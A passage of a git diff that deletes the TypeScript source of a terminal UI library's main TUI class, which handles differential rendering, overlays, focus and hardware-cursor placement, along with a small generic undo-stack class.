given viewport width - * @param width - Current viewport width - * @returns Array of strings, each representing a line - */ - render(width: number): string[]; - - /** - * Optional handler for keyboard input when component has focus - */ - handleInput?(data: string): void; - - /** - * If true, component receives key release events (Kitty protocol). - * Default is false - release events are filtered out. - */ - wantsKeyRelease?: boolean; - - /** - * Invalidate any cached rendering state. - * Called when theme changes or when component needs to re-render from scratch. - */ - invalidate(): void; -} - -type InputListenerResult = { consume?: boolean; data?: string } | undefined; -type InputListener = (data: string) => InputListenerResult; - -/** - * Interface for components that can receive focus and display a hardware cursor. - * When focused, the component should emit CURSOR_MARKER at the cursor position - * in its render output. TUI will find this marker and position the hardware - * cursor there for proper IME candidate window positioning. - */ -export interface Focusable { - /** Set by TUI when focus changes. Component should emit CURSOR_MARKER when true. */ - focused: boolean; -} - -/** Type guard to check if a component implements Focusable */ -export function isFocusable( - component: Component | null, -): component is Component & Focusable { - return component !== null && "focused" in component; -} - -/** - * Cursor position marker - APC (Application Program Command) sequence. - * This is a zero-width escape sequence that terminals ignore. - * Components emit this at the cursor position when focused. - * TUI finds and strips this marker, then positions the hardware cursor there. - */ -export const CURSOR_MARKER = "\x1b_pi:c\x07"; - -export { visibleWidth }; - -/** - * Anchor position for overlays - */ -export type OverlayAnchor = - | "center" - | "top-left" - | "top-right" - | "bottom-left" - | "bottom-right" - | "top-center" - | "bottom-center" - | "left-center" - | "right-center"; - -/** - * Margin configuration for overlays - */ -export interface OverlayMargin { - top?: number; - right?: number; - bottom?: number; - left?: number; -} - -/** Value that can be absolute (number) or percentage (string like "50%") */ -export type SizeValue = number | `${number}%`; - -/** - * Options for overlay positioning and sizing. - * Values can be absolute numbers or percentage strings (e.g., "50%"). - */ -export interface OverlayOptions { - // === Sizing === - /** Width in columns, or percentage of terminal width (e.g., "50%") */ - width?: SizeValue; - /** Minimum width in columns */ - minWidth?: number; - /** Maximum height in rows, or percentage of terminal height (e.g., "50%") */ - maxHeight?: SizeValue; - - // === Positioning - anchor-based === - /** Anchor point for positioning (default: 'center') */ - anchor?: OverlayAnchor; - /** Horizontal offset from anchor position (positive = right) */ - offsetX?: number; - /** Vertical offset from anchor position (positive = down) */ - offsetY?: number; - - // === Positioning - percentage or absolute === - /** Row position: absolute number, or percentage (e.g., "25%" = 25% from top) */ - row?: SizeValue; - /** Column position: absolute number, or percentage (e.g., "50%" = centered horizontally) */ - col?: SizeValue; - - // === Margin from terminal edges === - /** Margin from terminal edges. Number applies to all sides. */ - margin?: OverlayMargin | number; - - // === Visibility === - /** - * Control overlay visibility based on terminal dimensions. - * If provided, overlay is only rendered when this returns true. - * Called each render cycle with current terminal dimensions. - */ - visible?: (termWidth: number, termHeight: number) => boolean; - /** If true, don't capture keyboard focus when shown */ - nonCapturing?: boolean; - /** If true, dim the background behind the overlay */ - backdrop?: boolean; -} - -/** - * Handle returned by showOverlay for controlling the overlay - */ -export interface OverlayHandle { - /** Permanently remove the overlay (cannot be shown again) */ - hide(): void; - /** Temporarily hide or show the overlay */ - setHidden(hidden: boolean): void; - /** Check if overlay is temporarily hidden */ - isHidden(): boolean; - /** Focus this overlay and bring it to the visual front */ - focus(): void; - /** Release focus to the previous target */ - unfocus(): void; - /** Check if this overlay currently has focus */ - isFocused(): boolean; -} - -/** - * Container - a component that contains other components - */ -export class Container implements Component { - children: Component[] = []; - private _prevRender: string[] | null = null; - - addChild(component: Component): void { - this.children.push(component); - this._prevRender = null; - } - - removeChild(component: Component): void { - const index = this.children.indexOf(component); - if (index !== -1) { - const child = this.children[index]; - this.children.splice(index, 1); - if ("dispose" in child && typeof (child as any).dispose === "function") { - (child as any).dispose(); - } - this._prevRender = null; - } - } - - clear(): void { - for (const child of this.children) { - if ("dispose" in child && typeof (child as any).dispose === "function") { - (child as any).dispose(); - } - } - this.children = []; - this._prevRender = null; - } - - /** - * Remove all children without calling dispose on them. - * Use when child lifecycle is owned elsewhere and the container is only a - * render mount (e.g. extension widget containers in InteractiveMode, where - * the extensionWidgets* maps own disposal). - */ - detachChildren(): void { - this.children = []; - this._prevRender = null; - } - - invalidate(): void { - for (const child of this.children) { - child.invalidate?.(); - } - } - - render(width: number): string[] { - const lines: string[] = []; - for (const child of this.children) { - const rendered = child.render(width); - for (let i = 0; i < rendered.length; i++) lines.push(rendered[i]); - } - // Return stable reference if output unchanged — allows doRender() - // to skip ALL post-processing (isImageLine, applyLineResets, diffs) - const prev = this._prevRender; - if (prev && prev.length === lines.length) { - let same = true; - for (let i = 0; i < lines.length; i++) { - if (lines[i] !== prev[i]) { - same = false; - break; - } - } - if (same) return prev; - } - this._prevRender = lines; - return lines; - } -} - -/** - * TUI - Main class for managing terminal UI with differential rendering - */ -export class TUI extends Container { - public terminal: Terminal; - private previousLines: string[] = []; - private previousWidth = 0; - private previousHeight = 0; - private focusedComponent: Component | null = null; - private inputListeners = new Set(); - - /** Global callback for debug key (Shift+Ctrl+D). Called before input is forwarded to focused component. */ - public onDebug?: () => void; - private renderRequested = false; - private cursorRow = 0; // Logical cursor row (end of rendered content) - private hardwareCursorRow = 0; // Actual terminal cursor row (may differ due to IME positioning) - private inputBuffer = ""; // Buffer for parsing terminal responses - private cellSizeQueryPending = false; - private showHardwareCursor = - process.env.PI_HARDWARE_CURSOR === "1" || - process.env.TERM_PROGRAM === "WarpTerminal"; - private clearOnShrink = process.env.PI_CLEAR_ON_SHRINK === "1"; // Clear empty rows when content shrinks (default: off) - private _shrinkDebounceActive = false; - private maxLinesRendered = 0; // Track terminal's working area (max lines ever rendered) - private previousViewportTop = 0; // Track previous viewport top for resize-aware cursor moves - private fullRedrawCount = 0; - private stopped = false; - private _lastRenderedComponents: string[] | null = null; - - // === Sticky bottom scrolling === - private isScrolledToBottom = true; // Track if user is scrolled to bottom - - // === Autonomous mode info bar === - public autonomousStatus?: { - currentSlice?: string; - sliceStatus?: string; - progress?: number; - totalTasks?: number; - completedTasks?: number; - }; - - // Overlay stack for modal components rendered on top of base content - private focusOrderCounter = 0; - private overlayStack: { - component: Component; - options?: OverlayOptions; - preFocus: Component | null; - hidden: boolean; - focusOrder: number; - }[] = []; - - constructor(terminal: Terminal, showHardwareCursor?: boolean) { - super(); - this.terminal = terminal; - if (showHardwareCursor !== undefined) { - this.showHardwareCursor = showHardwareCursor; - } - } - - get fullRedraws(): number { - return this.fullRedrawCount; - } - - getShowHardwareCursor(): boolean { - return this.showHardwareCursor; - } - - setShowHardwareCursor(enabled: boolean): void { - if (this.showHardwareCursor === enabled) return; - this.showHardwareCursor = enabled; - if (!enabled) { - this.terminal.hideCursor(); - } - this.requestRender(); - } - - getClearOnShrink(): boolean { - return this.clearOnShrink; - } - - /** - * Set whether to trigger full re-render when content shrinks. - * When true (default), empty rows are cleared when content shrinks. - * When false, empty rows remain (reduces redraws on slower terminals). - */ - setClearOnShrink(enabled: boolean): void { - this.clearOnShrink = enabled; - } - - setFocus(component: Component | null): void { - // Clear focused flag on old component - if (isFocusable(this.focusedComponent)) { - this.focusedComponent.focused = false; - } - - this.focusedComponent = component; - - // Set focused flag on new component - if (isFocusable(component)) { - component.focused = true; - } - } - - /** - * Show an overlay component with configurable positioning and sizing. - * Returns a handle to control the overlay's visibility. - */ - showOverlay(component: Component, options?: OverlayOptions): OverlayHandle { - const entry = { - component, - options, - preFocus: this.focusedComponent, - hidden: false, - focusOrder: ++this.focusOrderCounter, - }; - this.overlayStack.push(entry); - // Only focus if overlay is actually visible - if (!options?.nonCapturing && this.isOverlayVisible(entry)) { - this.setFocus(component); - } - this.terminal.hideCursor(); - this.requestRender(); - - // Return handle for controlling this overlay - return { - hide: () => { - const index = this.overlayStack.indexOf(entry); - if (index !== -1) { - this.overlayStack.splice(index, 1); - // Restore focus if this overlay had focus - if (this.focusedComponent === component) { - const topVisible = this.getTopmostVisibleOverlay(); - this.setFocus(topVisible?.component ?? entry.preFocus); - } - if (this.overlayStack.length === 0) this.terminal.hideCursor(); - this.requestRender(); - } - }, - setHidden: (hidden: boolean) => { - if (entry.hidden === hidden) return; - entry.hidden = hidden; - // Update focus when hiding/showing - if (hidden) { - // If this overlay had focus, move focus to next visible or preFocus - if (this.focusedComponent === component) { - const topVisible = this.getTopmostVisibleOverlay(); - this.setFocus(topVisible?.component ?? entry.preFocus); - } - } else { - // Restore focus to this overlay when showing (if it's actually visible) - if (!options?.nonCapturing && this.isOverlayVisible(entry)) { - entry.focusOrder = ++this.focusOrderCounter; - this.setFocus(component); - } - } - this.requestRender(); - }, - isHidden: () => entry.hidden, - focus: () => { - if (!this.overlayStack.includes(entry) || !this.isOverlayVisible(entry)) - return; - if (this.focusedComponent !== component) { - this.setFocus(component); - } - entry.focusOrder = ++this.focusOrderCounter; - this.requestRender(); - }, - unfocus: () => { - if (this.focusedComponent !== component) return; - const topVisible = this.getTopmostVisibleOverlay(); - this.setFocus( - topVisible && topVisible !== entry - ? topVisible.component - : entry.preFocus, - ); - this.requestRender(); - }, - isFocused: () => this.focusedComponent === component, - }; - } - - /** Hide the topmost overlay and restore previous focus. */ - hideOverlay(): void { - const overlay = this.overlayStack.pop(); - if (!overlay) return; - if (this.focusedComponent === overlay.component) { - // Find topmost visible overlay, or fall back to preFocus - const topVisible = this.getTopmostVisibleOverlay(); - this.setFocus(topVisible?.component ?? overlay.preFocus); - } - if (this.overlayStack.length === 0) this.terminal.hideCursor(); - this.requestRender(); - } - - /** Check if there are any visible overlays */ - hasOverlay(): boolean { - return this.overlayStack.some((o) => this.isOverlayVisible(o)); - } - - /** Check if an overlay entry is currently visible */ - private isOverlayVisible(entry: (typeof this.overlayStack)[number]): boolean { - return isOverlayEntryVisible( - entry, - this.terminal.columns, - this.terminal.rows, - ); - } - - /** Find the topmost visible capturing overlay, if any */ - private getTopmostVisibleOverlay(): - | (typeof this.overlayStack)[number] - | undefined { - for (let i = this.overlayStack.length - 1; i >= 0; i--) { - if (this.overlayStack[i].options?.nonCapturing) continue; - if (this.isOverlayVisible(this.overlayStack[i])) { - return this.overlayStack[i]; - } - } - return undefined; - } - - override invalidate(): void { - super.invalidate(); - for (const overlay of this.overlayStack) overlay.component.invalidate?.(); - } - - start(): void { - this.stopped = false; - // Non-TTY stdout (pipe) — skip TUI entirely to avoid burning CPU. - // RPC bridge processes have piped stdio; rendering ANSI escape codes - // to a pipe is pure waste and causes a runaway render loop. (issue #3095) - if (!this.terminal.isTTY) { - return; - } - this.terminal.start( - (data) => this.handleInput(data), - () => this.requestRender(), - ); - this.terminal.hideCursor(); - this.queryCellSize(); - this.requestRender(); - } - - addInputListener(listener: InputListener): () => void { - this.inputListeners.add(listener); - return () => { - this.inputListeners.delete(listener); - }; - } - - removeInputListener(listener: InputListener): void { - this.inputListeners.delete(listener); - } - - private queryCellSize(): void { - // Only query if terminal supports images (cell size is only used for image rendering) - if (!getCapabilities().images) { - return; - } - // Query terminal for cell size in pixels: CSI 16 t - // Response format: CSI 6 ; height ; width t - this.cellSizeQueryPending = true; - this.terminal.write("\x1b[16t"); - } - - stop(): void { - this.stopped = true; - - // Dispose all overlays to stop any running timers - for (const entry of this.overlayStack) { - if ( - "dispose" in entry.component && - typeof (entry.component as any).dispose === "function" - ) { - (entry.component as any).dispose(); - } - } - this.overlayStack = []; - - // Move cursor to the end of the content to prevent overwriting/artifacts on exit - if (this.previousLines.length > 0) { - const targetRow = this.previousLines.length; // Line after the last content - const lineDiff = targetRow - this.hardwareCursorRow; - if (lineDiff > 0) { - this.terminal.write(`\x1b[${lineDiff}B`); - } else if (lineDiff < 0) { - this.terminal.write(`\x1b[${-lineDiff}A`); - } - this.terminal.write("\r\n"); - } - - this.terminal.showCursor(); - this.terminal.stop(); - } - - requestRender(force = false): void { - // Skip rendering on non-TTY stdout to prevent CPU burn (issue #3095) - if (!this.terminal.isTTY) return; - if (force) { - this.previousLines = []; - this.previousWidth = -1; // -1 triggers widthChanged, forcing a full clear - this.previousHeight = -1; // -1 triggers heightChanged, forcing a full clear - this.cursorRow = 0; - this.hardwareCursorRow = 0; - this.maxLinesRendered = 0; - this.previousViewportTop = 0; - } - if (this.renderRequested) return; - this.renderRequested = true; - process.nextTick(() => { - this.renderRequested = false; - this.doRender(); - }); - } - - /** - * Check if user is scrolled to the bottom of the content - */ - private isAtBottom(): boolean { - const height = this.terminal.rows; - const viewportTop = Math.max(0, this.maxLinesRendered - height); - const viewportBottom = viewportTop + height; - return viewportBottom >= this.previousLines.length; - } - - /** - * Scroll to bottom of content (sticky bottom) - */ - private scrollToBottom(): void { - const height = this.terminal.rows; - const contentHeight = this.previousLines.length; - if (contentHeight <= height) return; // No scrolling needed if content fits in viewport - - // For terminal scrolling, we can use cursor movement or scroll sequences - // The simplest approach is to move the cursor to the bottom line - const viewportTop = Math.max(0, contentHeight - height); - const targetScreenRow = contentHeight - 1; - const currentScreenRow = this.hardwareCursorRow - this.previousViewportTop; - const lineDiff = targetScreenRow - currentScreenRow; - - if (lineDiff > 0) { - this.terminal.write(`\x1b[${lineDiff}B`); // Move cursor down - } else if (lineDiff < 0) { - this.terminal.write(`\x1b[${-lineDiff}A`); // Move cursor up - } - - this.previousViewportTop = viewportTop; - this.isScrolledToBottom = true; - } - - /** - * Update autonomous status information - */ - updateAutonomousStatus(status: { - currentSlice?: string; - sliceStatus?: string; - progress?: number; - totalTasks?: number; - completedTasks?: number; - }): void { - this.autonomousStatus = status; - this.requestRender(); - } - - /** - * Render autonomous mode info bar - */ - private renderAutonomousStatusBar(width: number): string[] { - if (!this.autonomousStatus) return []; - - const { currentSlice, sliceStatus, progress, totalTasks, completedTasks } = - this.autonomousStatus; - const lines: string[] = []; - - // Create status bar line - let statusLine = "\x1b[90m│ AUTONOMOUS MODE "; - - if (currentSlice) { - statusLine += `\x1b[97mSlice: \x1b[96m${currentSlice} `; - } - - if (sliceStatus) { - statusLine += `\x1b[97mStatus: \x1b[92m${sliceStatus} `; - } - - if (progress !== undefined) { - const progressBar = this.createProgressBar(progress, width - 30); - statusLine += `\x1b[97mProgress: \x1b[93m${progressBar} `; - } - - if (totalTasks !== undefined && completedTasks !== undefined) { - statusLine += `\x1b[97mTasks: \x1b[95m${completedTasks}/${totalTasks} `; - } - - statusLine += "\x1b[90m│\x1b[0m"; - lines.push(statusLine); - - return lines; - } - - /** - * Create a simple ASCII progress bar - */ - private createProgressBar(progress: number, width: number): string { - const barWidth = Math.min(20, Math.max(5, width)); - const filled = Math.floor((progress / 100) * barWidth); - const empty = barWidth - filled; - return `[${"█".repeat(filled)}${"░".repeat(empty)}] ${progress}%`; - } - - private handleInput(data: string): void { - if (this.inputListeners.size > 0) { - let current = data; - for (const listener of this.inputListeners) { - const result = listener(current); - if (result?.consume) { - return; - } - if (result?.data !== undefined) { - current = result.data; - } - } - if (current.length === 0) { - return; - } - data = current; - } - - // If we're waiting for cell size response, buffer input and parse - if (this.cellSizeQueryPending) { - this.inputBuffer += data; - const filtered = this.parseCellSizeResponse(); - if (filtered.length === 0) return; - data = filtered; - } - - // Global debug key handler (Shift+Ctrl+D) - if (matchesKey(data, "shift+ctrl+d") && this.onDebug) { - this.onDebug(); - return; - } - - // Detect scrolling keys (Page Up/Down, arrow keys) to break sticky bottom - if ( - this.isScrolledToBottom && - (matchesKey(data, "pageUp") || matchesKey(data, "up")) - ) { - this.isScrolledToBottom = false; - } - - // If focused component is an overlay, verify it's still visible - // (visibility can change due to terminal resize or visible() callback) - const focusedOverlay = this.overlayStack.find( - (o) => o.component === this.focusedComponent, - ); - if (focusedOverlay && !this.isOverlayVisible(focusedOverlay)) { - // Focused overlay is no longer visible, redirect to topmost visible overlay - const topVisible = this.getTopmostVisibleOverlay(); - if (topVisible) { - this.setFocus(topVisible.component); - } else { - // No visible overlays, restore to preFocus - this.setFocus(focusedOverlay.preFocus); - } - } - - // Enter key scrolling behavior: if not at bottom, scroll down instead of sending input - if (data === "\r" || data === "\n") { - // Enter key - if (!this.isAtBottom()) { - // Scroll down one page or to bottom - this.scrollToBottom(); - return; - } - // If we're at bottom, let Enter pass through to focused component - } - - // Pass input to focused component (including Ctrl+C) - // The focused component can decide how to handle Ctrl+C - if (this.focusedComponent?.handleInput) { - // Filter out key release events unless component opts in - if (isKeyRelease(data) && !this.focusedComponent.wantsKeyRelease) { - return; - } - this.focusedComponent.handleInput(data); - this.requestRender(); - } - } - - private parseCellSizeResponse(): string { - // Response format: ESC [ 6 ; height ; width t - // Match the response pattern - const responsePattern = /\x1b\[6;(\d+);(\d+)t/; - const match = this.inputBuffer.match(responsePattern); - - if (match) { - const heightPx = parseInt(match[1], 10); - const widthPx = parseInt(match[2], 10); - - if (heightPx > 0 && widthPx > 0) { - setCellDimensions({ widthPx, heightPx }); - // Invalidate all components so images re-render with correct dimensions - this.invalidate(); - this.requestRender(); - } - - // Remove the response from buffer - this.inputBuffer = this.inputBuffer.replace(responsePattern, ""); - this.cellSizeQueryPending = false; - } - - // Don't hold a bare Escape keypress hostage while waiting for the - // optional cell-size response. This is the most common early input race. - if (this.inputBuffer === "\x1b") { - const result = this.inputBuffer; - this.inputBuffer = ""; - this.cellSizeQueryPending = false; - return result; - } - - // Check if we have a partial cell size response starting (wait for more data) - // Patterns that could be incomplete cell size response: \x1b, \x1b[, \x1b[6, \x1b[6;...(no t yet) - const partialCellSizePattern = /\x1b(\[6?;?[\d;]*)?$/; - if (partialCellSizePattern.test(this.inputBuffer)) { - // Check if it's actually a complete different escape sequence (ends with a letter) - // Cell size response ends with 't', Kitty keyboard ends with 'u', arrows end with A-D, etc. - const lastChar = this.inputBuffer[this.inputBuffer.length - 1]; - if (!/[a-zA-Z~]/.test(lastChar)) { - // Doesn't end with a terminator, might be incomplete - wait for more - return ""; - } - } - - // No cell size response found, return buffered data as user input - const result = this.inputBuffer; - this.inputBuffer = ""; - this.cellSizeQueryPending = false; // Give up waiting - return result; - } - - private doRender(): void { - if (this.stopped) return; - const width = this.terminal.columns; - const height = this.terminal.rows; - let viewportTop = Math.max(0, this.maxLinesRendered - height); - let prevViewportTop = this.previousViewportTop; - let hardwareCursorRow = this.hardwareCursorRow; - const computeLineDiff = (targetRow: number): number => { - const currentScreenRow = hardwareCursorRow - prevViewportTop; - const targetScreenRow = targetRow - viewportTop; - return targetScreenRow - currentScreenRow; - }; - - // Render all components to get new lines - let newLines = this.render(width); - - // Add autonomous status bar at the top if in autonomous mode - const statusBarLines = this.renderAutonomousStatusBar(width); - if (statusBarLines.length > 0) { - newLines = [...statusBarLines, ...newLines]; - } - - // Check if content grew and we should scroll to bottom (sticky bottom behavior) - const contentGrew = newLines.length > this.previousLines.length; - const shouldScrollToBottom = contentGrew && this.isScrolledToBottom; - - // Skip ALL post-processing if component output is unchanged. - // Container.render() returns the same array reference when stable. - if ( - newLines === this._lastRenderedComponents && - this.overlayStack.length === 0 && - !shouldScrollToBottom - ) { - return; - } - this._lastRenderedComponents = newLines; - - // Composite overlays into the rendered lines (before differential compare) - if (this.overlayStack.length > 0) { - newLines = compositeOverlays( - newLines, - this.overlayStack, - width, - height, - this.maxLinesRendered, - ); - } - - // Extract cursor position before applying line resets (marker must be found first) - const cursorPos = extractCursorPosition(newLines, height); - - newLines = applyLineResets(newLines); - - // Width or height changed - need full re-render - const widthChanged = - this.previousWidth !== 0 && this.previousWidth !== width; - const heightChanged = - this.previousHeight !== 0 && this.previousHeight !== height; - - // Helper to clear scrollback and viewport and render all new lines - const fullRender = (clear: boolean): void => { - this.fullRedrawCount += 1; - let buffer = "\x1b[?2026h"; // Begin synchronized output - if (clear) buffer += "\x1b[2J\x1b[H"; // Clear screen and home (no scrollback clear — preserves view position) - for (let i = 0; i < newLines.length; i++) { - if (i > 0) buffer += "\r\n"; - let line = newLines[i]; - if (!isImageLine(line) && visibleWidth(line) > width) { - line = truncateToWidth(line, width); - } - buffer += line; - } - buffer += "\x1b[?2026l"; // End synchronized output - this.terminal.write(buffer); - this.cursorRow = Math.max(0, newLines.length - 1); - this.hardwareCursorRow = this.cursorRow; - // Reset max lines when clearing, otherwise track growth - if (clear) { - this.maxLinesRendered = newLines.length; - } else { - this.maxLinesRendered = Math.max( - this.maxLinesRendered, - newLines.length, - ); - } - this.previousViewportTop = Math.max(0, this.maxLinesRendered - height); - this.positionHardwareCursor(cursorPos, newLines.length); - this.previousLines = newLines; - this.previousWidth = width; - this.previousHeight = height; - }; - - const debugRedraw = process.env.PI_DEBUG_REDRAW === "1"; - const logRedraw = (reason: string): void => { - if (!debugRedraw) return; - const logPath = path.join(os.homedir(), ".pi", "agent", "pi-debug.log"); - const msg = `[${new Date().toISOString()}] fullRender: ${reason} (prev=${this.previousLines.length}, new=${newLines.length}, height=${height})\n`; - fs.appendFileSync(logPath, msg); - }; - - // First render - just output everything without clearing (assumes clean screen) - if (this.previousLines.length === 0 && !widthChanged && !heightChanged) { - logRedraw("first render"); - fullRender(false); - return; - } - - // Width or height changed - full re-render - if (widthChanged || heightChanged) { - logRedraw( - `terminal size changed (${this.previousWidth}x${this.previousHeight} -> ${width}x${height})`, - ); - fullRender(true); - return; - } - - // Content shrunk below the working area and no overlays - re-render to clear empty rows - // (overlays need the padding, so only do this when no overlays are active) - // Configurable via setClearOnShrink() or PI_CLEAR_ON_SHRINK=0 env var - if ( - this.clearOnShrink && - newLines.length < this.maxLinesRendered && - this.overlayStack.length === 0 - ) { - if (!this._shrinkDebounceActive) { - // First shrink detection: defer the full redraw by one tick. - // If content grows back immediately (pinned clear → new streaming), - // the full redraw is avoided. - this._shrinkDebounceActive = true; - // Do NOT update maxLinesRendered here — keep the old value so the - // condition `newLines.length < maxLinesRendered` still triggers on - // the next render if content stays shrunk. - logRedraw( - `clearOnShrink deferred (maxLinesRendered=${this.maxLinesRendered})`, - ); - // Fall through to differential render for this frame - } else { - // Still shrunk on second render — commit the full redraw - this._shrinkDebounceActive = false; - logRedraw( - `clearOnShrink committed (maxLinesRendered=${this.maxLinesRendered})`, - ); - fullRender(true); - return; - } - } else { - this._shrinkDebounceActive = false; - } - - // Find first and last changed lines - let firstChanged = -1; - let lastChanged = -1; - const maxLines = Math.max(newLines.length, this.previousLines.length); - for (let i = 0; i < maxLines; i++) { - const oldLine = - i < this.previousLines.length ? this.previousLines[i] : ""; - const newLine = i < newLines.length ? newLines[i] : ""; - - if (oldLine !== newLine) { - if (firstChanged === -1) { - firstChanged = i; - } - lastChanged = i; - } - } - const appendedLines = newLines.length > this.previousLines.length; - if (appendedLines) { - if (firstChanged === -1) { - firstChanged = this.previousLines.length; - } - lastChanged = newLines.length - 1; - } - const appendStart = - appendedLines && - firstChanged === this.previousLines.length && - firstChanged > 0; - - // No changes - but still need to update hardware cursor position if it moved - if (firstChanged === -1) { - this.positionHardwareCursor(cursorPos, newLines.length); - this.previousViewportTop = Math.max(0, this.maxLinesRendered - height); - this.previousHeight = height; - return; - } - - // All changes are in deleted lines (nothing to render, just clear) - if (firstChanged >= newLines.length) { - if (this.previousLines.length > newLines.length) { - let buffer = "\x1b[?2026h"; - // Move to end of new content (clamp to 0 for empty content) - const targetRow = Math.max(0, newLines.length - 1); - const lineDiff = computeLineDiff(targetRow); - if (lineDiff > 0) buffer += `\x1b[${lineDiff}B`; - else if (lineDiff < 0) buffer += `\x1b[${-lineDiff}A`; - buffer += "\r"; - // Clear extra lines without scrolling - const extraLines = this.previousLines.length - newLines.length; - if (extraLines > height) { - logRedraw(`extraLines > height (${extraLines} > ${height})`); - fullRender(true); - return; - } - if (extraLines > 0) { - buffer += "\x1b[1B"; - } - for (let i = 0; i < extraLines; i++) { - buffer += "\r\x1b[2K"; - if (i < extraLines - 1) buffer += "\x1b[1B"; - } - if (extraLines > 0) { - buffer += `\x1b[${extraLines}A`; - } - buffer += "\x1b[?2026l"; - this.terminal.write(buffer); - this.cursorRow = targetRow; - this.hardwareCursorRow = targetRow; - } - this.positionHardwareCursor(cursorPos, newLines.length); - this.previousLines = newLines; - this.previousWidth = width; - this.previousHeight = height; - this.previousViewportTop = Math.max(0, this.maxLinesRendered - height); - return; - } - - // Check if firstChanged is above what was previously visible - // Use previousLines.length (not maxLinesRendered) to avoid false positives after content shrinks - const previousContentViewportTop = Math.max( - 0, - this.previousLines.length - height, - ); - if (firstChanged < previousContentViewportTop) { - // First change is above previous viewport - need full re-render - logRedraw( - `firstChanged < viewportTop (${firstChanged} < ${previousContentViewportTop})`, - ); - fullRender(true); - return; - } - - // Render from first changed line to end - // Build buffer with all updates wrapped in synchronized output - let buffer = "\x1b[?2026h"; // Begin synchronized output - const prevViewportBottom = prevViewportTop + height - 1; - const moveTargetRow = appendStart ? firstChanged - 1 : firstChanged; - if (moveTargetRow > prevViewportBottom) { - const currentScreenRow = Math.max( - 0, - Math.min(height - 1, hardwareCursorRow - prevViewportTop), - ); - const moveToBottom = height - 1 - currentScreenRow; - if (moveToBottom > 0) { - buffer += `\x1b[${moveToBottom}B`; - } - const scroll = moveTargetRow - prevViewportBottom; - buffer += "\r\n".repeat(scroll); - prevViewportTop += scroll; - viewportTop += scroll; - hardwareCursorRow = moveTargetRow; - } - - // Move cursor to first changed line (use hardwareCursorRow for actual position) - const lineDiff = computeLineDiff(moveTargetRow); - if (lineDiff > 0) { - buffer += `\x1b[${lineDiff}B`; // Move down - } else if (lineDiff < 0) { - buffer += `\x1b[${-lineDiff}A`; // Move up - } - - buffer += appendStart ? "\r\n" : "\r"; // Move to column 0 - - // Only render changed lines (firstChanged to lastChanged), not all lines to end - // This reduces flicker when only a single line changes (e.g., spinner animation) - const renderEnd = Math.min(lastChanged, newLines.length - 1); - for (let i = firstChanged; i <= renderEnd; i++) { - if (i > firstChanged) buffer += "\r\n"; - buffer += "\x1b[2K"; // Clear current line - let line = newLines[i]; - const isImage = isImageLine(line); - if (!isImage && visibleWidth(line) > width) { - line = truncateToWidth(line, width); - } - buffer += line; - } - - // Track where cursor ended up after rendering - let finalCursorRow = renderEnd; - - // If we had more lines before, clear them and move cursor back - if (this.previousLines.length > newLines.length) { - // Move to end of new content first if we stopped before it - if (renderEnd < newLines.length - 1) { - const moveDown = newLines.length - 1 - renderEnd; - buffer += `\x1b[${moveDown}B`; - finalCursorRow = newLines.length - 1; - } - const extraLines = this.previousLines.length - newLines.length; - for (let i = newLines.length; i < this.previousLines.length; i++) { - buffer += "\r\n\x1b[2K"; - } - // Move cursor back to end of new content - buffer += `\x1b[${extraLines}A`; - } - - buffer += "\x1b[?2026l"; // End synchronized output - - if (process.env.PI_TUI_DEBUG === "1") { - const debugDir = path.join(os.tmpdir(), "tui"); - fs.mkdirSync(debugDir, { recursive: true }); - const debugPath = path.join( - debugDir, - `render-${Date.now()}-${Math.random().toString(36).slice(2)}.log`, - ); - const debugData = [ - `firstChanged: ${firstChanged}`, - `viewportTop: ${viewportTop}`, - `cursorRow: ${this.cursorRow}`, - `height: ${height}`, - `lineDiff: ${lineDiff}`, - `hardwareCursorRow: ${hardwareCursorRow}`, - `renderEnd: ${renderEnd}`, - `finalCursorRow: ${finalCursorRow}`, - `cursorPos: ${JSON.stringify(cursorPos)}`, - `newLines.length: ${newLines.length}`, - `previousLines.length: ${this.previousLines.length}`, - "", - "=== newLines ===", - JSON.stringify(newLines, null, 2), - "", - "=== previousLines ===", - JSON.stringify(this.previousLines, null, 2), - "", - "=== buffer ===", - JSON.stringify(buffer), - ].join("\n"); - fs.writeFileSync(debugPath, debugData); - } - - // Write entire buffer at once - this.terminal.write(buffer); - - // Track cursor position for next render - // cursorRow tracks end of content (for viewport calculation) - // hardwareCursorRow tracks actual terminal cursor position (for movement) - this.cursorRow = Math.max(0, newLines.length - 1); - this.hardwareCursorRow = finalCursorRow; - // Track terminal's working area (grows but doesn't shrink unless cleared) - this.maxLinesRendered = Math.max(this.maxLinesRendered, newLines.length); - this.previousViewportTop = Math.max(0, this.maxLinesRendered - height); - - // Apply sticky bottom behavior if content grew and user was at bottom - if (shouldScrollToBottom) { - this.scrollToBottom(); - } - - // Position hardware cursor for IME - this.positionHardwareCursor(cursorPos, newLines.length); - - this.previousLines = newLines; - this.previousWidth = width; - this.previousHeight = height; - } - - /** - * Position the hardware cursor for IME candidate window. - * @param cursorPos The cursor position extracted from rendered output, or null - * @param totalLines Total number of rendered lines - */ - private positionHardwareCursor( - cursorPos: { row: number; col: number } | null, - totalLines: number, - ): void { - if (!cursorPos || totalLines <= 0) { - this.terminal.hideCursor(); - return; - } - - // Clamp cursor position to valid range - const targetRow = Math.max(0, Math.min(cursorPos.row, totalLines - 1)); - const targetCol = Math.max(0, cursorPos.col); - - // Move cursor from current position to target - const rowDelta = targetRow - this.hardwareCursorRow; - let buffer = ""; - if (rowDelta > 0) { - buffer += `\x1b[${rowDelta}B`; // Move down - } else if (rowDelta < 0) { - buffer += `\x1b[${-rowDelta}A`; // Move up - } - // Move to absolute column (1-indexed) - buffer += `\x1b[${targetCol + 1}G`; - - if (buffer) { - this.terminal.write(buffer); - } - - this.hardwareCursorRow = targetRow; - if (this.showHardwareCursor) { - this.terminal.showCursor(); - } else { - this.terminal.hideCursor(); - } - } -} diff --git a/packages/pi-tui/src/undo-stack.ts b/packages/pi-tui/src/undo-stack.ts deleted file mode 100644 index 5b9a7e9ce..000000000 --- a/packages/pi-tui/src/undo-stack.ts +++ /dev/null @@ -1,28 +0,0 @@ -/** - * Generic undo stack with clone-on-push semantics. - * - * Stores deep clones of state snapshots. Popped snapshots are returned - * directly (no re-cloning) since they are already detached. - */ -export class UndoStack { - private stack: S[] = []; - - /** Push a deep clone of the given state onto the stack. */ - push(state: S): void { - this.stack.push(structuredClone(state)); - } - - /** Pop and return the most recent snapshot, or undefined if empty. */ - pop(): S | undefined { - return this.stack.pop(); - } - - /** Remove all snapshots. */ - clear(): void { - this.stack.length = 0; - } - - get length(): number { - return this.stack.length; - } -} diff --git a/packages/pi-tui/src/utils.ts 